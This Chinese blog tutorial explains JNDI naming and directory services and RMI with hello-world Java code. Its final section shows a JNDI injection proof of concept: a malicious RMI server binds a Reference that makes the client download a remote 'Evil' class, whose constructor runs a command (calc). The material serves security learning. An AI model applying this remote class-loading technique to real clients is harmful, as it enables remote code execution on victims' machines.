author: bilala
0x00 前言
无尽的折磨-_-
学习过程中踩了好多坑,真是学Java以来最折磨的一次:cry:
0x01 JNDI介绍
官方文档:JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。
我们知道了这是一个接口,接口提供的功能有名称服务Naming (service)
和目录服务Directory (service)
,接下来就得介绍一下这两个服务
Naming
即名称服务,就是通过名称查找对象的服务,在平时就很常见,如
- DNS服务:通过域名查找一个实际的IP地址
- 文件系统:通过具体的文件名查找到对应的文件
- 各种游戏id:通过具体的uid查找到对应的玩家
-
……
在文件系统中,有几个重要的概念:
Bindings:绑定,表示一个名称和对应对象的绑定关系,例如DNS服务中一个域名绑定对应的IP
Context:上下文,一个上下文中对应着一组名称到对象的绑定关系,算是Bindings的集合。例如文件系统中,一个目录就是一个上下文,目录中的一个文件名对应着一个文件就是一个Bindings,多个对应关系就成了上下文。
References:引用,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储。比如A同志在B同志家里找吉他玩,B同志说吉他借C了,让A去C家里找。B->C的这个过程就是一个引用。
Directory
即目录服务,目录服务其实就算是名称服务的plus版。除了名称服务中的名称到对应对象的绑定之外,还允许对象有属性值这个概念,允许我们根据属性值去搜索对象。比如打印机服务,我们可以在命名服务中根据打印机名称去获取打印机对象(引用),然后进行打印操作;同时打印机拥有速率、分辨率、颜色等属性,作为目录服务,用户可以根据打印机的分辨率去搜索对应的打印机对象。
一些典型的目录服务如:
- NIS: Network Information Service,Solaris 系统中用于查找系统相关信息的目录服务;
- Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;
- 其他基于 LDAP 协议实现的目录服务;
目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search)操作去定位对象,而不是简单的根据名称查找(lookup)去定位。
Interface
从设计上,JNDI 独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示:
SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:
- RMI: Java Remote Method Invocation,Java 远程方法调用;
- LDAP: 轻量级目录访问协议;
- CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);
0x02 RMI介绍
因为是初探,所以先从RMI服务来了解。
RMI,即 Remote Method Invocation,Java 的远程方法调用。
学东西先学一个Hello world
,一个RMI的Hello world
需要三部分:Registry注册中心、Server服务端、Client 客户端。
RMI在传统的 C/S 架构中多了一个注册中心,这是因为服务端在启动时会分配一个随机的端口,每次启动时端口都不一样,这就导致客户端每次都得跟着变化的端口而改变连接的端口。所以这个时候注册中心就出来了。
有了注册中心之后,服务端可以将自己的远程对象注册到注册中心中,比如注册一个"a"->new a()
,这个时候客户端再问注册中心找a
(注册中心的端口是可以固定的),然后注册中心告诉客户端a在server端的某某位置
,客户端再去server端的某某位置调用a
即可
Hello World
定义一个接口继承Remote
package com.bilala;
import java.rmi.Remote;
public interface RemoteTestObj extends Remote {
public String sayHello(String name) throws Exception;
}
定义一个接口的实现类,即远程对象
package com.bilala;
import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements RemoteTestObj{
public RemoteObjImpl() throws Exception{
}
@Override
public String sayHello(String name) throws Exception {
String upname = name.toUpperCase();
System.out.println(upname);
return upname;
}
}
定义服务端
package com.bilala;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
RemoteTestObj remoteTestObj = new RemoteObjImpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("remoteTestObj", remoteTestObj);
}
}
定义客户端
package com.bilala;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
RemoteTestObj remoteTestObj = (RemoteTestObj) registry.lookup("remoteTestObj");
System.out.println(remoteTestObj.sayHello("bilala"));
}
}
先跑服务端,再跑客户端,可以看到成功调用了远程对象的方法
深入
刚刚的图只是诠释了RMI的表层调用,实际上这个远程对象并不是直接从服务端复制到客户端的,而是将远程对象的Stub传递过去,Stub是远程对象的引用或者代理。客户端拿到这个Stub后可以像调用本地方法一样通过Stub调用远程对象的方法。
过程为:
- Server端启用后,会在注册中心注册远程对象
- Client端通过Naming Service去注册中心查找对象
- 注册中心返回一个Stub给Client,Stub中包含了Server端远程对象的通信地址与端口
- Client调用Stub上的方法
- Stub连接到Server端的通信端口并提交参数
- Server端执行对应的方法,将结果返回给Stub
- Stub返回结果给Client
借用SeeBug的图
0x03 JNDI服务
先编写一个JNDI的hello world,在刚刚的同目录下接着编写
编写JNDIRMIServer端
package com.bilala;
import javax.naming.InitialContext;
import javax.naming.Reference;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://127.0.0.1:1099/remoteTestObj", new RemoteObjImpl());
}
}
编写JNDIRMIClient端
package com.bilala;
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
RemoteTestObj remoteTestObj = (RemoteTestObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteTestObj");
System.out.println(remoteTestObj.sayHello("bilala"));
}
}
先启动RMIServer端,再启动JNDIRMIServer,再运行JNDIRMIClient,得到返回结果
同时也可以看到是在JNDIRMIServer中调用的
0x04 JNDI注入
攻击客户端
假设我们可以控制客户端的lookup参数,那我们就可以伪造恶意服务端来达成攻击的目的
继续用上边的JNDIRMIClient,值还是用rmi://127.0.0.1:1099/remoteTestObj,只不过我们需要将Server端改成恶意的类让客户端调用
前边有讲Reference引用,我们可以将远程对象指向恶意类的地址,JNDIRMIServer端如下
package com.bilala;
import javax.naming.InitialContext;
import javax.naming.Reference;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Reference evilObj = new Reference("Evil", "Evil", "http://127.0.0.1:5050/");
initialContext.rebind("rmi://127.0.0.1:1099/remoteTestObj", evilObj);
}
}
恶意类如下
public class Evil {
public Evil() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
编译恶意类,将恶意类.class放在某个目录下,利用python开启http服务,此时再去运行JNDIRMIClient即可完成攻击
Comments | NOTHING